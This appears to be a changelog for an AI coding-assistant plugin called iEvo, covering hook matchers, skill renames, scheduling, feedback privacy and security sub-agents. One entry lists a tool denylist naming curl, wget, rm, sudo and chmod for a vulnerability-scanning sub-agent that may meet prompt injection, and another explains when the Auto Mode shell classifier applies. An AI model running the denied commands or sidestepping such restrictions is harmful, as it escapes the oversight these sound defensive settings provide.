• Corrected from the original proposal (per approval comment) — the drafted JS-style boolean matchers ("tool_name == 'Write' && ...", "background_tasks.length == 0") are not valid; matcher only accepts tool names ("Write", "Edit|Write", or a bare regex), verified against the current hooks reference. Path filtering uses the per-handler if field instead (permission-rule syntax, e.g. if: "Write(.ievo/hooks/evolution-captured)"); Stop hooks take neither matcher nor if (both are ignored/inert on that event) and fire unconditionally when their carrying skill's turn ends. Target file was also corrected from evolution/SKILL.md (renamed to evo/SKILL.md in v0.47.4) to the current path.
• Added beyond the proposal's file list — agents/evolution.md gained the same PostToolUse hook as evo/SKILL.md. evo delegates its capture to this sub-agent when available, and the actual .ievo/hooks/evolution-captured write happens inside that delegated sub-agent's own context — without a matching hook there, the notification would silently never fire on the (default, Claude-Code-with-iEvo) delegated path.
• Scope note documented, not fixed — security-check's Stop hook converts to SubagentStop when the skill runs inside a parallel security-auditor sub-agent (the /ievo:init Step 8 path), firing once per candidate scanned rather than once for the whole batch; the existing session-level Stop hook (hooks-setup/SKILL.md Step 5.5, background_tasks-aware) remains the correct mechanism for a single "all scans done" signal.
• hooks-setup/SKILL.md documents the new tier as complementary to its own session-level settings.json hooks (richer notification styles, persists across sessions) vs. the new per-skill tier (zero setup, terminal-only, scoped to the carrying skill's lifecycle). Also flags (ticket-link-pending, not fixed here) that Step 5's own existing PostToolUse templates write the full "Write(.ievo/hooks/<event>)" string into matcher rather than if — the same invalid pattern the proposal was corrected away from — discovered as a byproduct of this work; fixing it also requires reworking Step 6's dedup-by-matcher logic, so it's left as a follow-up rather than bundled into this docs-scoped change.
• Verification caveat — the approval comment asked for each matcher to be verified against a real hook run before merging. This automated build environment has no interactive Claude Code session to fire a live hook in; verification here is against the current official hooks/permissions documentation (cited above) plus internal consistency with this repo's own hooks-setup/SKILL.md conventions (signal-file paths, non-blocking exit 0 semantics). A live-fire check on a real session remains worth doing before broad reliance.
• Version — bump per AGENTS.md rules (feat: → minor, pre-1.0; adds new plugin-file capability). discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.47.5

Document CC v2.1.193's autoMode.classifyAllShell interaction with /ievo:init's bash-heavy pipeline — closes #257.

• Gap closed — init/SKILL.md documented the Auto Mode classifier's default handling of gh api/gh search (Step 1's permissions.allow recommendation) but said nothing about autoMode.classifyAllShell: true, which suspends narrow Bash allow rules entirely while Auto Mode is active. A user with that setting on would have every one of the pipeline's 20+ bash calls routed through the classifier individually, with no indication this skill's existing permission guidance no longer applies. README.md's "Permission pre-setup" section carries the same permissions.allow guidance and had the identical gap.
• Verified against current docs (https://code.claude.com/docs/en/auto-mode-config, fetched during implementation) — autoMode.classifyAllShell only affects Auto Mode sessions (no effect in other permission modes); when true it suspends every Bash/PowerShell allow rule for the duration, trading latency (a classifier round-trip per call) for coverage, rather than guaranteeing an interactive approval prompt per command as originally proposed. Requires Claude Code v2.1.193+.
• Fix — added a v2.1.193+ note to init/SKILL.md's compatibility frontmatter pointing at Step 1, and a new paragraph in Step 1's "Permission check (auto-mode classifier)" section explaining the interaction and the only available mitigation: disable autoMode.classifyAllShell for the init session, or accept the pipeline-wide per-call classifier cost. Added a matching one-sentence cross-reference to README.md's "Permission pre-setup" section pointing at the same Step 1 detail, so the two docs stay consistent.
• Scope — skipped the proposal's optional Phase 0 preflight check (claude config get autoMode.classifyAllShell): that command doesn't exist in the current CLI (the documented inspection commands are claude auto-mode config/defaults/critique), and the proposal's own open question on hard-block vs. soft-note framing was never resolved — left as documentation-only per the acceptance criteria's optional marking.
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION (both coupled to plugin.json via their own tests, though AGENTS.md's "bump these four files" checklist only names discover.mjs) and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.47.4

Rename the "capture a lesson" skill invocation from /ievo:evolution to /ievo:evo for faster typing — closes #329.

• Reason — operator request: "evolution" is slow to type for a skill invoked often (any time a mistake, convention, or pattern is worth recording); a short alias lowers the friction to actually using it.
• Fix — git mv plugins/ievo/skills/evolution/ plugins/ievo/skills/evo/, updated its name: frontmatter to evo and its # Evolution heading to # Evo. Updated every live /ievo:evolution invocation and every evolution/SKILL.md path cross-reference to /ievo:evo / evo/SKILL.md across README.md, AGENTS.md, coverage-audit.md, plugins/ievo/commands/uninstall.md, plugins/ievo/commands/update.md, plugins/ievo/skills/{overlay-status,init,feedback,evo-auto-enable,evo-auto-disable,hooks-setup,debug-on,handoff,schedule}/SKILL.md, plugins/ievo/agents/evolution.md, and a comment in plugins/ievo/scripts/evolution_candidates.mjs.
• Left untouched — the general .ievo/evolution/<scope>/<name>.md overlay-path convention and terminology (directory layout, "evolution overlay"/"evolution candidates"/"auto-evolution mode" prose, the evolution_candidates.mjs script name) — a distinct, unrelated meaning of "evolution" that a blind find-and-replace would have corrupted. Also left untouched: the evolution sub-agent's own name/frontmatter/filename (plugins/ievo/agents/evolution.md, dispatched via subagent_type: "evolution") — already decoupled from its calling skill's name, the same pattern as security-check → security-auditor and deep-review → deep-reviewer.
• Backwards compatibility — no alias/redirect added for /ievo:evolution. AGENTS.md documents no prior skill-rename precedent requiring one, and this is an internal plugin command with no external API contract — a clean rename is acceptable.
• Namespace check — confirmed /ievo:evo reads unambiguously alongside /ievo:evo-auto-enable / /ievo:evo-auto-disable: their descriptions and trigger words describe a distinct concept (toggling background auto-capture mode) from capturing a single lesson now, so no further rename was needed.
• Version — bump per AGENTS.md rules (fix: → patch, edits plugin files under plugins/ievo/**); discover.mjs SCRIPT_VERSION and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.47.3

Warn that plugin skills always need the full ievo: prefix, since a bare name can silently misfire to a reserved Claude Code built-in — closes #325.

• Gap closed — a user typed a bare "feedback"-style command in the Claude desktop client; instead of resolving to ievo:feedback (or erroring), Claude Code's own built-in /feedback fired (aliases /bug, /share), submitting the report to Anthropic support instead of ievo-ai/skills — a real misdirected-submission incident, not just a discoverability nit. Confirmed workaround: typing the fully-qualified /ievo:feedback resolves correctly in the same client. Per current docs (https://code.claude.com/docs/en/commands), /feedback is a documented Claude Code built-in, and plugin skills are always namespaced (plugin:skill) precisely to avoid colliding with reserved built-ins — so a bare name typed where autocomplete doesn't surface the ievo: prefix was always going to risk this collision.
• Fix — added an explicit warning to README.md at the existing cross-platform-skills callouts (Quick start intro and the Codex/Claude Code usage section): always type the full ievo: prefix, since some non-CLI Claude surfaces don't autocomplete-suggest it and a bare name can silently resolve to an unrelated built-in instead. Added the same warning to feedback/SKILL.md's compatibility field, since it's the skill with a confirmed real-world misfire.
• Scope — docs-only: README.md prose (two call-outs) + one SKILL.md compatibility field. No behavior, tooling, schema, or allowed-tools change.
• Related — same underlying autocomplete-discoverability gap as #320/#321/#322/#324 (still held pending confirmation of the exact affected client surface); this fix is scoped to advice that holds regardless of which non-CLI surface is involved.
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs + evolution_candidates.mjs SCRIPT_VERSION and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.47.2

Make /ievo:version's suggested update command name the iEvo plugin explicitly, instead of Claude Code's generic /plugin update — closes #319.

• Gap closed — version/SKILL.md correctly reported the installed/latest version delta and told the user to run /plugin update when behind, but that's Claude Code's generic, no-argument form. A user with more than one plugin installed had no way to tell from the rendered output whether it would update iEvo specifically or prompt for a choice.
• Fix — Step 5's "Suggested format when behind" render template, the accompanying prose (intro paragraph, "When to use" bullet, and the "Read-only" rule), and the frontmatter description now say /plugin update ievo instead of the bare /plugin update. Added a new Rules bullet stating the skill always names the plugin explicitly, with the fully-qualified /plugin update ievo@ievo-skills form noted for the rare case of a same-named plugin from another marketplace.
• Verified against current docs (https://code.claude.com/docs/en/plugins-reference and https://code.claude.com/docs/en/commands, re-fetched during implementation) — claude plugin update <plugin> [options] takes <plugin> = plugin name or plugin-name@marketplace-name, the same argument form documented for plugin install/enable/disable; the interactive /plugin [subcommand] command passes subcommands straight through, and /plugin install/enable/disable are confirmed elsewhere in the docs to accept that identical plugin-name@marketplace-name form directly. ievo is confirmed as this plugin's own name (plugins/ievo/.claude-plugin/plugin.json) and ievo-skills as the marketplace name (.claude-plugin/marketplace.json).
• Scope — single-file prose change to version/SKILL.md; no behavior, tooling, or allowed-tools change (still read-only jq/curl/git).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs + evolution_candidates.mjs SCRIPT_VERSION and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.47.1

Preload the vuln-scan skill into vuln-scanner.md via skills: frontmatter, and drop its unrestricted Skill tool access — closes #317.

• Gap closed — vuln-scanner.md Step 1 instructed a runtime, model-chosen Skill("ievo:vuln-scan") call to load its scan methodology; if the model skipped or mis-invoked it, or a future body edit dropped the instruction, the sub-agent would scan without the documented methodology (source-read → data-flow mapping → CWE detection → exploit-chain validation → structured output) and nothing platform-level would catch it.
• Frontmatter change — adds skills: [ievo:vuln-scan], which preloads the full vuln-scan/SKILL.md content into the sub-agent's context at startup regardless of whether the model executes a Skill() call. Removes Skill from tools: — no longer needed once preloaded, and dropping it closes the "can invoke any installed skill" surface, narrowing the agent to its documented single-purpose design.
• Verified against current docs (https://code.claude.com/docs/en/sub-agents, https://code.claude.com/docs/en/skills, re-fetched during implementation) — skills: carries no "ignored for plugin subagents" caveat (unlike permissionMode/mcpServers/hooks, which are); vuln-scan/SKILL.md doesn't set disable-model-invocation: true, so it's preload-eligible; plugin skills use the documented plugin-name:skill-name namespace, confirmed against plugins/ievo/.claude-plugin/plugin.json's "name": "ievo" — so ievo:vuln-scan is the correct qualified form, not a guess.
• Step 1 body — rewritten to describe the preloaded methodology instead of instructing a runtime Skill() call; the five-step methodology summary is unchanged.
• Scope — security-auditor.md was checked for the same gap and has none: it's fully self-contained with no Skill tool in its tools: list, so this change is scoped to vuln-scanner.md only.
• Version — bump per AGENTS.md rules (edits plugins/ievo/agents/vuln-scanner.md); discover.mjs + evolution_candidates.mjs SCRIPT_VERSION and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.47.0

Add a fixed stack-independent query group to /ievo:init's discovery so general-purpose codebase-audit/planning-advisor meta-tools surface for any stack — closes #315.

• Gap closed — discover.mjs's buildQueries() only ever emitted queries gated by detected stack signals (per-language, per-dep, per-category via CATEGORY_QUERIES, per-framework); there was no query group for general-purpose codebase-audit / planning-advisor meta-tools (e.g. shadcn/improve, ~17.6K skills.sh installs) since that class of skill isn't tied to any specific language, framework, or dependency. A live /ievo:init run against a Python/Click stack never surfaced it — none of the 37 stack-derived queries built for that run matched.
• Fix — added STACK_INDEPENDENT_QUERIES (codebase audit, improve codebase, implementation plan, tech debt audit, senior advisor), fired as an unconditional layer in buildQueries() whenever the stack produced at least one real signal — not gated behind categories the way every other layer is. Guarded on "some signal present" (rather than truly unconditional) so a completely empty {} stack — Step 4 manifest detection finding nothing at all — still yields zero queries, preserving runDiscover's existing "no queries derived, abort init" contract for that distinct failure mode.
• Categorization — reused the existing agent-tooling category (reference-tables.md) rather than inventing a new bucket; Step 7c's per-category top-5 cap applies unchanged. Updated the category row's description to frame these as read-only auditors that produce plans/findings, not implementers, matching shadcn/improve's own positioning, and updated SKILL.md Step 5b's query-count description to keep it accurate.
• Tests — added coverage asserting the new query group fires with any single one of languages/deps/categories/frameworks present, and is excluded entirely when the stack is empty. discover.mjs stays at 100/100/100 (lines/branches/functions).
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs + evolution_candidates.mjs SCRIPT_VERSION and the AGENTS.md compliance ledger updated in lockstep.

---

v0.46.3

Add disallowedTools: to vuln-scanner.md for defense-in-depth consistency with its sibling security agents — closes #312.

• Gap closed — vuln-scanner.md held the broadest raw tool access (Bash) of the repo's three security-critical scanning agents, but was the only one without a disallowedTools: denylist, despite explicitly anticipating adversarial file content (prompt injection in scanned source) in its own body.
• Frontmatter change — adds disallowedTools: [Edit, Write, Bash(rm*), Bash(mv*), Bash(cp*), Bash(curl*), Bash(wget*), Bash(sudo*), Bash(chmod*), WebSearch], mirroring security-auditor.md and deep-reviewer.md. Write is denied (unlike security-auditor.md, which keeps it for one legitimate signal-file write) because vuln-scanner.md's documented output contract is pure structured JSON with no legitimate file-write step.
• Why it matters — closes the same sub-agent tool-isolation gap AGENTS.md § Security model documents: a skill's disallowed-tools (kebab-case) does not propagate to a Task-tool-dispatched sub-agent, so vuln-scanner.md must self-enforce like its two siblings (skills#226, skills#266).
• Version — bump per AGENTS.md rules (edits plugins/ievo/agents/vuln-scanner.md); discover.mjs + evolution_candidates.mjs SCRIPT_VERSION and the AGENTS.md compliance ledger updated in lockstep (both scripts' versions are coupled to plugin.json by their own test assertions). No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

v0.46.2

Realign /ievo:schedule with the documented Routines surface — in-session /schedule replaces the nonexistent claude schedule shell CLI; adds one-off runs, the 1-hour cron minimum, and a connectors scope-down warning — closes #310.

• Live-CLI verification (the proposal's acceptance step) — on Claude Code v2.1.201, schedule is not a registered subcommand: claude schedule --help falls through to the top-level help (no schedule in the Commands list) and claude schedule list is parsed as a session prompt, not a management command. The skill's primary wizard path could therefore never work — every invocation was routed to the fallback (or, on a logged-in machine, silently started a junk session). Per the proposal's decision rule, the shell path is removed entirely rather than kept as a fallback.
• Step 1 (availability probe) — the claude schedule list probe is replaced by a preflight over the documented /schedule hide-causes: CLI older than v2.1.81 (claude --version), API-key-auth precedence (the two auth env vars and the apiKeyHelper setting, which override the required claude.ai login), and the four telemetry/feature-flag variables from the official troubleshooting list — checked both in the shell environment and in the env block of the user/project settings.json. The env check prints variable names only, never values. Causes not detectable from the session (plan tier, org-wide Routines toggle, web session) are enumerated in the fallback text; when blocked, the user picks Web UI / CI cron / cancel — the web UI works regardless of CLI configuration.
• Step 6 (creation) — hands off to in-session /schedule: the agent supplies the wizard-assembled name, schedule, and prompt when the conversational flow activates instead of re-asking, and notes /schedule creates scheduled routines only (API/GitHub triggers are web-side). Fallbacks: claude.ai/code/routines copy-paste block, then the Step 1b CI template. Monthly and custom-cron frequencies use the documented closest-preset-then-/schedule update path.
• Step 3 (frequency) — adds a one-off option (fires once, auto-disables, exempt from the daily routine run cap) and validates custom cron against the documented 1-hour minimum interval (minute field must be a single fixed value). Timezone framing corrected from "all times UTC" to the documented local-wall-clock conversion, with a per-routine stagger note.
• Step 5 (confirm) — new heads-up block: ALL account connectors attach by default with write access and no permission prompts (scope them down), pushes are restricted to claude/-prefixed branches by default, and recurring runs count against a daily per-account cap.
• Step 7 + Rules — management handed off via the documented /schedule list / /schedule update / /schedule run; a green run status is explained as infrastructure-success only. A rule pins the verified-absent shell CLI (v2.1.201, 2026-07-04) so it is not reintroduced from stale model memory.
• Frontmatter + docs — compatibility now records the research-preview status and the documented v2.1.81+ /schedule requirement (was v2.1.149+ with no caveat); allowed-tools narrowed to what the flow actually uses (drops Write and broad Bash(claude*), adds Read and the names-only env probe). The stale version note in coverage-audit.md's schedule row is updated to match.
• Version — bump per AGENTS.md rules (edits plugin files under plugins/ievo/**); discover.mjs + evolution_candidates.mjs SCRIPT_VERSION and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.46.1

Fix /ievo:evolution's project-wide marker so Codex can read it: detect a thin-pointer CLAUDE.md and host the marker in AGENTS.md, and use an explicit, platform-neutral instruction instead of a bare @import — closes #304.

• Bug — the marker host-selection rule was CLAUDE.md → AGENTS.md → create CLAUDE.md, so on a project whose CLAUDE.md is a thin pointer that redirects to AGENTS.md (a common convention), the overlay marker was injected into CLAUDE.md. Codex reads AGENTS.md, not CLAUDE.md, so the marker — and every accumulated project-wide lesson behind it — was invisible to Codex sessions, breaking iEvo's cross-platform promise.
• Host selection — add a thin-pointer heuristic ahead of the existing priority: treat CLAUDE.md as a redirect stub (host the marker in AGENTS.md instead) only when it is short (≤ ~20 lines) and references AGENTS.md as the source of truth. Both conditions are required to avoid a false positive on a substantive CLAUDE.md that merely cites AGENTS.md. Single host, no dual-inject — AGENTS.md is the one file both platforms effectively read (Codex directly; Claude Code via the pointer).
• Marker content — replace the bare @.ievo/evolution/project.md import line with the explicit natural-language instruction already used by the agent/skill overlay markers ("read .ievo/evolution/project.md if it exists, and apply its rules"). Codex has no @include resolution (openai/codex#17401, still open), so the explicit instruction is platform-neutral and Claude Code follows it identically — nothing is lost.
• Single-host guard — because the host is re-derived from CLAUDE.md's current shape on every capture, injection now checks both CLAUDE.md and AGENTS.md for an existing marker and skips if either has one. This keeps the no-dual-inject guarantee even when a CLAUDE.md grows from a thin pointer into a substantive file between two captures. The chosen host is also created if it does not yet exist.
• Both dispatch paths fixed — the same host-selection + marker change is applied to plugins/ievo/skills/evolution/SKILL.md (inline fallback) and plugins/ievo/agents/evolution.md (the evolution sub-agent that performs the injection on the Claude Code / Codex Task-dispatch path). Fixing only the skill would leave the primary sub-agent path still injecting the old bare marker into CLAUDE.md.
• Not in scope — projects already onboarded with the old bare-import marker in CLAUDE.md are not auto-migrated (injection stays skip-if-present); clearing a stale old marker there remains a manual step. New captures and new projects get the corrected behaviour.
• Validation & version — additive/edited instruction prose plus the version-string bump; no plugins/ievo/scripts/ logic change, so the 100% coverage gate is untouched (discover.mjs + evolution_candidates.mjs SCRIPT_VERSION bumped in lockstep with plugin.json to satisfy the coupling tests). Version bump per AGENTS.md rules; ledger header updated.

---

v0.46.0

Close the feedback → evolution direction of the two-way bridge, so a bug filed about a specific agent or skill can also capture a local mitigation — closes #305.

• Why — previously only the reverse arrow existed: /ievo:evolution Step 5.6 (shipped v0.43.0, #298) offers to escalate a captured lesson upstream as feedback, but after /ievo:feedback filed a bug about a specific agent or skill there was no offer to capture a local mitigation, so the project stayed exposed on the upstream repo's fix timeline (the motivating case: a marker-host bug whose local workaround had to be applied by hand).
• New Step 7.5 in plugins/ievo/skills/feedback/SKILL.md (after the Step 7 result report) — the mirror of evolution's Step 5.6. Runs only after a successful submission and only when ALL hold: flow A (skips flow B rejections and flow C evolution-handoffs), type == Bug (from Step 1), and the bug targets a specific agent or skill (reusing evolution Step 1's scope-classification signals).
  • When applicable it offers once via AskUserQuestion (Capture locally / Skip), never auto-capturing; on accept it hands off to /ievo:evolution with the already-translated English body (body_en, Step 3.75) pre-filled as the lesson and the named agent/skill as the target, so evolution runs its Steps 1–5.6 (scope confirmation, overlay append, marker injection) unchanged.
• Loop guard — the flow-C skip is the single loop guard for both directions: evolution → feedback lands as flow C (Step 7.5 skipped), and a forward handoff feedback → evolution → evolution.5.6 → feedback lands as flow C too (Step 7.5 skipped) — so the bridge always terminates. A Rules bullet documents the two-way, loop-safe bridge.
• Validation & version — additive instruction prose only; no plugins/ievo/scripts/ change, so the 100% coverage gate is untouched; validate_skills.mjs / yaml-frontmatter / nested-fences pass (no frontmatter change). Version bump per AGENTS.md rules (edits plugin files under plugins/ievo/**); discover.mjs + evolution_candidates.mjs SCRIPT_VERSION and the AGENTS.md compliance ledger updated in lockstep.

---

v0.45.0

Complete auto-evolution mode — the novel, higher-risk half the operator sequenced for separate review — closes #302 (PR 2 of 2; PR 1 = #293/#301, shipped in v0.44.0).

• Adds the three components PR 1's contract documented but deferred: a turn-content-aware correction-capture hook, a tested accumulator script, and a SessionStart analysis nudge.
• New plugins/ievo/scripts/evolution_candidates.mjs (Node, stdlib-only) — the per-session candidate accumulator:
  • append (records a correction verbatim to .ievo/evolution-candidates/<session-id>.jsonl, deduping identical (scope, text) within a session and sanitizing the session id against path escape), count (backlog size for the nudge), list (for the review pass), and prune (retention: keep the last 10 sessions per #293 Q4).
  • Built on the discover.mjs isCliEntry / injected-fs-deps pattern and covered to 100/100/100 by tests/evolution_candidates.test.mjs; registered in .github/scripts/check-coverage.mjs REQUIRED.
• evo-auto-enable/SKILL.md Step 3.5 — bakes the accumulator's absolute path, writes two fail-silent, flag-gated, non-blocking hook scripts under .ievo/hooks/scripts/:
  • a UserPromptSubmit correction-capture nudge (asks the agent to self-judge "was that a correction?" and, if so, record it verbatim; captures corrections only per #293 Q1, no scope classification at capture time per #293 Q3);
  • a SessionStart analysis nudge (prune + count, then surfaces "N candidates pending — review?");
  • both wired into .claude/settings.json following /ievo:hooks-setup's exec-form / dedup / read-first-halt-on-invalid-JSON conventions. evo-auto-disable/SKILL.md gains Step 3.5 to unwire both entries and delete the scripts (the candidate queue is preserved).
• evolution/SKILL.md Step 0 (auto-evolution candidate intake) — drains the accumulator through the existing Step 1 scope classification with the #293 Q2 constraint: auto-write only unambiguous project-wide lessons to .ievo/evolution/project.md; park ambiguous or agent/skill/user-level candidates in pending.md for manual review, never written silently; consume each on write.
• Self-flag exception — because UserPromptSubmit is one of the hook shapes /ievo:security-check flags in third-party plugins, security-check/SKILL.md and README threat #7 now document iEvo's own flag-gated, .ievo/-scoped correction-capture hook as a known purpose-built exception so iEvo's own tooling doesn't self-flag it.
• Version — bump per AGENTS.md rules (adds a script + edits skills under plugins/ievo/**); discover.mjs SCRIPT_VERSION and the AGENTS.md compliance ledger updated in lockstep.

---

v0.44.0

Add auto-evolution mode's low-risk half — the /ievo:evo-auto-enable / /ievo:evo-auto-disable toggle pair — closes #293 (PR 1 of 2; PR 2 lands the hook + accumulator + nudge).

• PR sequence — the operator approved this feature as two parts: the toggle skills plus pending-queue plumbing land here; the turn-content-aware correction-capture hook, the accumulator script, and the SessionStart analysis nudge follow in a separate, focused review (PR 2). Two new SKILL.md files under plugins/ievo/skills/, modeled directly on the debug-on/debug-off paired-toggle + project-local-flag pattern.
• evo-auto-enable/SKILL.md — writes the project-local flag .ievo/evo-auto.flag (YAML: enabled/enabled_at/enabled_by/signal: corrections-only/auto_write_scope: project-wide-only), prepares the pending-candidate queue at .ievo/evolution-candidates/pending.md (created only if absent — never clobbers parked candidates), offers to gitignore the pre-review queue, and documents the mode's contract:
  • v1 captures corrections from the user only (agent-judged, semantic — mechanical exit/test signals deferred);
  • auto-writes go to .ievo/evolution/project.md only when scope is unambiguously project-wide; anything ambiguous or user-level-only is parked for manual review via /ievo:evolution, never written silently — preserving evolution's existing human-in-the-loop reconciliation;
  • the contract section spells out what the follow-up hook/nudge must honor (accumulate-at-teardown, analyze-at-next-SessionStart, project-wide-only writes, consume-on-write with a last-10-sessions retention cap).
• evo-auto-disable/SKILL.md — removes exactly .ievo/evo-auto.flag (idempotent rm -f with Node unlinkSync + Windows Remove-Item variants) and is strictly non-destructive: the .ievo/evolution-candidates/ queue is preserved so no captured correction is lost, and the closing summary reports how many candidates still await review.
• Validation & version — additive prose-only skills; no plugins/ievo/scripts/ change, so the 100% coverage gate is untouched; validate_skills.mjs/yaml-frontmatter/nested-fences pass (frontmatter carries name, description, effort: low, compatibility, license, metadata). Version bump per AGENTS.md rules (adds skills under plugins/ievo/**); AGENTS.md "What this repo ships" tree updated with both skills.

---

v0.43.0

Let /ievo:evolution offer to escalate a captured lesson upstream as public feedback — closes #298.

• Why — previously the evolution flow ended at its report step after appending the lesson to the overlay, with no path from a captured lesson to /ievo:feedback; a lesson describing a gap in the iEvo plugin itself (the trigger case: "deep review does not check inline GitHub review comments from bot reviewers") was recorded locally and never surfaced for upstream sharing. Prose-only change across two SKILL.md files and one agent .md.
• plugins/ievo/skills/evolution/SKILL.md Step 5.6 (between the Step 5.5 signal file and the Step 6 report) — a cheap signal-word heuristic (no sub-agent dispatch, matching the "low effort" design) that classifies the lesson as local (the default — no prompt: project convention / tech-stack / team-role / codebase-specific mistake, even when it lives on an iEvo overlay) vs. upstream-relevant (names an iEvo capability and frames a shortcoming of its own behavior, or the vendored target resolved to an ievo-ai/skills file). Only in the upstream case does it offer once via AskUserQuestion (Share as feedback / Skip), never auto-posting; on accept it hands off to /ievo:feedback with the lesson pre-filled, and the Step 6 report gains an Upstream escalation: line.
• plugins/ievo/agents/evolution.md Step 4.6 (parallel) — because a Task-dispatched sub-agent has no tool to prompt or launch another skill, it only classifies and surfaces the verdict (+ verbatim lesson) in its report, leaving the offer and hand-off to the caller's main session.
• plugins/ievo/skills/feedback/SKILL.md Step 0 gains a third flow (C) Evolution handoff (alongside A and B) — the pre-filled lesson skips Step 2 (collect text) but runs Step 1 / 3 / 3.5 / 3.75 / 4 and, critically, Step 5 (public-posting confirmation gate) unchanged. Translation is deliberately not duplicated: evolution passes the verbatim original and feedback's Step 3.75 translates once. Public posting stays behind the existing explicit Submit/Cancel gate throughout — evolution never posts anything itself.
• Validation & version — additive instruction prose only; no plugins/ievo/scripts/ change, so the 100% coverage gate is untouched; validate_skills.mjs / validate_agents.mjs / yaml-frontmatter pass (no frontmatter change). Version bump per AGENTS.md rules (edits plugin files under plugins/ievo/**).

---

v0.42.1

Stop /ievo:feedback from leaking non-English text into public issues — closes #294.

• Why — the skill previously translated non-English feedback to English but also embedded the user's verbatim source-language text in a collapsed <details><summary>Original (untranslated)</summary> block inside the public GitHub issue body (Step 4, both flow A and flow B), which published a Russian-language block to a public issue. Prose-only change to plugins/ievo/skills/feedback/SKILL.md.
• Removed the <details> "Original (untranslated)" / "Original note (untranslated)" blocks from both public issue templates — the public issue body is now English-only (body_en).
• Step 3.75 output-format reworded so body_original is retained strictly for the local audit trail, never the issue body.
• Step 6 gains a local-only Step A2 that, when a translation happened, writes the verbatim original to a sibling .ievo/log/pending-reports/feedback-original-<ts>.md (never passed to gh issue create --body-file, so it stays on the user's machine as translation-QA reference).
• The Rules bullet updated from "preserved in <details> block" to "English-only in public issues; verbatim original kept local-only".
• Validation & version — translation itself (Step 3.75) is unchanged — only the publication of the untranslated copy is removed. No plugins/ievo/scripts/ change, so the 100% coverage gate is untouched; validate_skills.mjs/yaml-frontmatter pass (no frontmatter change). Version bump per AGENTS.md rules (edits plugin files under plugins/ievo/**).

---

v0.42.0

Add a /ievo:version skill — on-demand "which iEvo version am I on, and what would I gain by updating?" — closes #291.

• New plugins/ievo/skills/version/SKILL.md (read-only, no scripts/, following the overlay-status graceful-degradation pattern) with two capabilities:
  • Show the installed version — reads .version from ${CLAUDE_PLUGIN_ROOT}/.claude-plugin/plugin.json (the same CLAUDE_PLUGIN_ROOT resolution hooks-setup Step 5.7.2 relies on), plus a best-effort short commit SHA via git rev-parse that degrades to "not available" when the installed plugin cache has no .git.
  • Show the changelog window between installed and latest — resolve the latest version from plugins[0].version in the marketplace manifest on main (same source as the SessionStart nudge), and when behind, fetch CHANGELOG.md from main and print every ## vX.Y.Z section strictly newer than installed (reverse-chronological, semver-compared field-by-field so a missing exact-match header for an infra-only/no-entry version doesn't break selection).
• Complements the existing passive, throttled SessionStart version-check nudge (hooks-setup Step 5.7, v0.39.0): that only whispers "you're behind" once/day and only if hooks were configured; /ievo:version is the interactive, on-demand answer showing the version + full changelog.
• Every failure path degrades cleanly rather than erroring — unresolvable installed version, offline/rate-limited latest check, and unreachable/malformed changelog all report what they can and note what they can't.
• Validation & version — no plugins/ievo/scripts/ script added, so the 100% coverage gate is untouched; the four-file version bump + AGENTS.md "What this repo ships" tree entry accompany it. validate_skills.mjs/yaml-frontmatter pass (frontmatter carries name, description, effort: low, narrowly-scoped allowed-tools). Version bump per AGENTS.md rules (edits plugin files under plugins/ievo/**).

---

v0.41.0

Guard dated append-only records against silent rot — closes #289. Two related prose-only gaps around evolution overlays' dated ## <date> — <title> sections, which are appended verbatim and read live as instructions at every dispatch. (1) Temporal anchoring — plugins/ievo/agents/evolution.md and plugins/ievo/skills/evolution/SKILL.md gain a new Temporal anchoring rule alongside Conflict surfacing: a lesson that asserts how the system currently works in the present tense (e.g. "workflow X runs only on non-draft PRs") rots the moment the system changes, and the agent keeps applying the now-false rule. The rule steers such a lesson one of two ways before appending — anchor a point-in-time observation in time (past tense, scoped to its moment, with a date/PR anchor where available) so it stays true under any later change, or move a durable current-behavior claim into the owning agent/skill body or an overlay rule rather than a dated snapshot. It explicitly does NOT silently rewrite the verbatim lesson (that would violate the existing "Verbatim … text" rule) — it surfaces and steers, mirroring Conflict surfacing, and complements it: Conflict surfacing catches a new lesson contradicting an old one, Temporal anchoring catches the system moving out from under an old, unchallenged lesson. (2) Deep-reviewer carve-out — plugins/ievo/agents/deep-reviewer.md gains an explicit content-scope carve-out (a caveat under Point 5 "Documentation/paraphrase drift" plus a matching Rules bullet) excluding append-only dated records — evolution overlay sections under .ievo/evolution/, CHANGELOG-style version entries, incident/journal logs — from drift/staleness findings. A dated entry is a frozen snapshot of the repo as of its date, so its point-in-time paths and mechanics are intentionally correct-as-of-then; flagging them as stale is a false positive and "fixing" them rewrites history. At most the reviewer confirms a new dated entry was added when the change warranted one; it never proposes edits to an existing entry's body. Both fixes are additive prose in agent/skill instruction bodies — no code, schema, or CI surface — consistent with evolution's own "additive only" philosophy and deep-reviewer's itemized-Rules pattern; validate_agents.mjs/validate_skills.mjs continue to pass (no frontmatter change). Version bump per AGENTS.md rules (edits plugin files under plugins/ievo/**).

---

v0.40.0

